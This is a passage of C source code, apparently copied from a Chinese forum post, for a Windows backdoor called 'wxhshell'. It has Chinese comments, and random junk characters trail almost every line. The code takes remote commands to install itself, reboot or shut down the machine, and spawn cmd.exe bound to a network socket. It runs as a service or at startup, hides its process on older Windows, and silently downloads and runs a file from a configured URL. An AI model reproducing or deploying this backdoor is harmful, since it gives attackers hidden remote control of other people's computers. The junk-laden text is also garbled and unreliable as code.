    switch(cmd[0]) { Z)O>h^0  
  X_({};mz  
  // 帮助 D'[P,v;Q  
  case '?': { c^Gwri4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 31sgf5 s  
    break; 3:8nwt  
  } p@8^gc  
  // 安装 ]<;i} n| <  
  case 'i': { txfwLqx  
    if(Install()) YeExjC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NVA`t]gn  
    else v6P~XK}G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r{!"%03H_  
    break; ~R?dDL  
    } BdoC6H  
  // 卸载 ,6orB}w?z  
  case 'r': { x$5nLS2.  
    if(Uninstall()) Bx}0E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dI ZTLb"a  
    else VVQ74b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); svq9@!go  
    break; n|mJE,N  
    } 4=F]`Lql  
  // 显示 wxhshell 所在路径 7z&adkG:  
  case 'p': { G\:psx/  
    char svExeFile[MAX_PATH]; QVG0>,+}$  
    strcpy(svExeFile,"\n\r"); :&1=8^BY  
      strcat(svExeFile,ExeFile); _KM$u>B8  
        send(wsh,svExeFile,strlen(svExeFile),0); %j[LRY/  
    break; q:- ]d0B+  
    }  ny  
  // 重启 1Oca@E\Z.  
  case 'b': { jgo<#AJ/E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y800(z  
    if(Boot(REBOOT)) !7kLFW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kHJDX;  
    else { iA%' ;V  
    closesocket(wsh); Xv-1PY':pA  
    ExitThread(0); "doU.U&u  
    } 5&-j{J0iV  
    break; EBIa%,  
    } f1CMR4D  
  // 关机 ]w_  
  case 'd': { FD XWFJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h=K36a)  
    if(Boot(SHUTDOWN)) %TW% |"v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _d\u!giy  
    else { /Oq)3fU e  
    closesocket(wsh); w;yiX<t<  
    ExitThread(0); Ere?d~8  
    } ,#P,B ;r~  
    break; -40'[a9E  
    } q:2aPfo&  
  // 获取shell e>?_)B4  
  case 's': { daA47`+d  
    CmdShell(wsh); B@"SOX  
    closesocket(wsh); |8DH4*y!  
    ExitThread(0); I=4Xv<F  
    break; J8GXI:y  
  } `N|U"s;  
  // 退出 Q SHx]*)  
  case 'x': { ( Lok  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,>bGbx  
    CloseIt(wsh); 4T-,'P{?  
    break; 97qtJ(ESI  
    } } * ?n?'  
  // 离开 ,2 zt.aqB  
  case 'q': { QvG56:M3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %XEKhy  
    closesocket(wsh); p3M#XC_H]  
    WSACleanup(); 5+e>+$2  
    exit(1); 8 3z'#  
    break; bx hPjAL  
        } ~-XOvKJb  
  } ]&Y#) ebs  
  } pY+.SuM  
:r1;}hIA9  
  // 提示信息 9">zdFC'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g".d"d{  
} =y)p>3p}&  
  } Vk MinE  
8q]J;T  
  return; 9 9Ba{qj  
} SQq6X63 \  
ZWf-X  
// shell模块句柄 AuoxZ?V  
int CmdShell(SOCKET sock) *)MX%`Z}  
{ jP1$qhp  
STARTUPINFO si; YniZ( ~^K  
ZeroMemory(&si,sizeof(si)); IZv~[vi_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aQ(`6DQv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nqZA|-}  
PROCESS_INFORMATION ProcessInfo; ~R :<Bw  
char cmdline[]="cmd"; q:vz?G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VLf g[*k  
  return 0; aRbx   
} Up<~0  
\.c]kG>k-  
// 自身启动模式 ,`;jvY~Ec  
int StartFromService(void) ;(K  
{ sC% b~  
typedef struct o:_^gJ+|  
{  M{] e5+  
  DWORD ExitStatus; CXTt(-FT  
  DWORD PebBaseAddress; Yx6hA#7I  
  DWORD AffinityMask; +AB6lv  
  DWORD BasePriority; 3DH.4@7P  
  ULONG UniqueProcessId; |</"N-#S  
  ULONG InheritedFromUniqueProcessId; -<_7\09  
}   PROCESS_BASIC_INFORMATION; 9u?(^(.  
mKV'jm0  
PROCNTQSIP NtQueryInformationProcess; 0Qm"n6NQ  
]$3+[9x'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w TlGJ$D0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C*7!dW6  
7U,k 2LS  
  HANDLE             hProcess; NUMi])HkN  
  PROCESS_BASIC_INFORMATION pbi; R8tF/dx>7  
)%s +?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o w2$o\hC  
  if(NULL == hInst ) return 0; .8]Y-  
^\:yf.k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s|Zx(.EP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .!i0_Rv5x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 27>a#vCT  
vh &GIb  
  if (!NtQueryInformationProcess) return 0; MD<-w|#8IV  
|1"!k A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 84'?u m  
  if(!hProcess) return 0; ~Eq\DK  
a}>Dz 1R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,d|vP)SS  
. |uLt J  
  CloseHandle(hProcess); |z~LzSJv  
}~Q5Y3]#~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B;!f<"a8  
if(hProcess==NULL) return 0; o 7G> y#Y  
&!jq!u$(  
HMODULE hMod; fYBH)E  
char procName[255]; 'S?;J ,/  
unsigned long cbNeeded; Pdw#o^Iq^  
G;TsMq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "!H@k%eAM|  
w(B H247`  
  CloseHandle(hProcess); )p8I @E  
W&(f&{A  
if(strstr(procName,"services")) return 1; // 以服务启动 :[sOKV i  
$ D'^t(  
  return 0; // 注册表启动 ,=o0BD2q  
} '# z]M  
v7IzDz6gF  
// 主模块 t)N;'v  &  
int StartWxhshell(LPSTR lpCmdLine) ug *D52?  
{ K=6UK%y A  
  SOCKET wsl; s&'BM~WI  
BOOL val=TRUE; (ZP87Gz  
  int port=0; "&lN\&:  
  struct sockaddr_in door; M=y0PCD  
o>c ^aRZ{  
  if(wscfg.ws_autoins) Install(); &Y7C0v  
f: xWu-  
port=atoi(lpCmdLine); 7>i2OBkAhB  
&Un6ay  
if(port<=0) port=wscfg.ws_port; 8LJ{i%  
|d7$*7TvV  
  WSADATA data; !e3YnlE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6^#uLp>  
?a.+j8pbGg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [VSU"AJY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4h|dHXYZ  
  door.sin_family = AF_INET; feEMg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fS A)G$b]  
  door.sin_port = htons(port); #Hu~}zy  
8o-bd_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :b/jNHJU  
closesocket(wsl); pOga6'aB)  
return 1; )1F<6R  
} n56;m`IU  
nWWM2v  
  if(listen(wsl,2) == INVALID_SOCKET) { N.j "S'(i  
closesocket(wsl); QH@>icAb  
return 1; I@ \#up}  
} o-eKAkh  
  Wxhshell(wsl); Kt/)pc  
  WSACleanup(); RT*5d;l0  
qpqokK  
return 0; HDIk9WC^  
F#V q#|_)>  
} Lz4eh WntO  
GAEO$e:  
// 以NT服务方式启动  7}B   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BC/_:n8O  
{ y79qwM.  
DWORD   status = 0; .FP$ IWt/1  
  DWORD   specificError = 0xfffffff; 6C-YyI#s#  
>nn Y:7m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I cF@F>>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; smU4jh9S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 61K"(r~  
  serviceStatus.dwWin32ExitCode     = 0; cF+ X,]=6  
  serviceStatus.dwServiceSpecificExitCode = 0; 3|kgTB-  
  serviceStatus.dwCheckPoint       = 0; N$alUx*  
  serviceStatus.dwWaitHint       = 0; V@ :20m  
]=&L_(34  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); raB+,Oi$G  
  if (hServiceStatusHandle==0) return; cFZCf8:zB  
>Da~Q WW|  
status = GetLastError(); ZX.TqvK/r  
  if (status!=NO_ERROR) 8{I"q[GZ  
{ d;G~hVu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pSAR/':eg  
    serviceStatus.dwCheckPoint       = 0; zlf} .  
    serviceStatus.dwWaitHint       = 0; VOgi7\  
    serviceStatus.dwWin32ExitCode     = status; .;I29yk\XS  
    serviceStatus.dwServiceSpecificExitCode = specificError; [*Ju3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ygF0-3ND  
    return; ')#,X^   
  } | {P|.  
t#b0H)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @LX6hm*}  
  serviceStatus.dwCheckPoint       = 0; }NmNanW^  
  serviceStatus.dwWaitHint       = 0; a/:XXy |  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :@. ;  
} Fi;VDK(V9  
\M+L3*W  
// 处理NT服务事件,比如:启动、停止 jX */piSq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /g.]RY+u|x  
{ q&si%  
switch(fdwControl) Kn}ub+ "J  
{ ^PqF<d6  
case SERVICE_CONTROL_STOP: _a'A~JY  
  serviceStatus.dwWin32ExitCode = 0; yfe'>]7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #$1$T  
  serviceStatus.dwCheckPoint   = 0; 8k!6b\Imz  
  serviceStatus.dwWaitHint     = 0; B@K[3  
  { tJZc/]%`H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yp]@^TN  
  } s3QEi^~  
  return; X[hM8G  
case SERVICE_CONTROL_PAUSE: yI8tH!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; isK;mU?<  
  break; =_d%=m  
case SERVICE_CONTROL_CONTINUE: 9]yW_]P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zK5bO= 0j  
  break; P:!)9/.2  
case SERVICE_CONTROL_INTERROGATE: p^QZq>v  
  break; AFm1t2,+;  
}; By((,QpB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :7b-$fm  
} &O1v,$}'  
*gqSWQ  
// 标准应用程序主函数 q)I|2~Q c^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JOfV]eCL  
{ 'gTmH[be  
^Kq|ID AP  
// 获取操作系统版本 nX5C< Ky  
OsIsNt=GetOsVer(); Y;Y 1+jt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5K.+CO<  
;u!?QSvb  
  // 从命令行安装 8vD3=yK%^  
  if(strpbrk(lpCmdLine,"iI")) Install(); ME+em1ZH  
sdr.u  
  // 下载执行文件  (_+;R  
if(wscfg.ws_downexe) { }Ik1bkK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y-+G wa3  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mg? L-C  
} .W.;~`EW  
O%JSViPw  
if(!OsIsNt) { >)c9|e=8  
// 如果时win9x,隐藏进程并且设置为注册表启动 KD*O%@X5C  
HideProc(); .Q\\dESn"  
StartWxhshell(lpCmdLine); bZ5n,KQA5  
} VifmZ;S@Y  
else T33|';k  
  if(StartFromService()) T.Zz;2I  
  // 以服务方式启动 dWpk='  
  StartServiceCtrlDispatcher(DispatchTable); pXW`+<g0  
else ^gg!Me  
  // 普通方式启动 X47!E |*  
  StartWxhshell(lpCmdLine); (!</%^ZI  
3M N  
return 0; uiMIz?+  
}
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只看该作者 1 发表于: 2006-10-10
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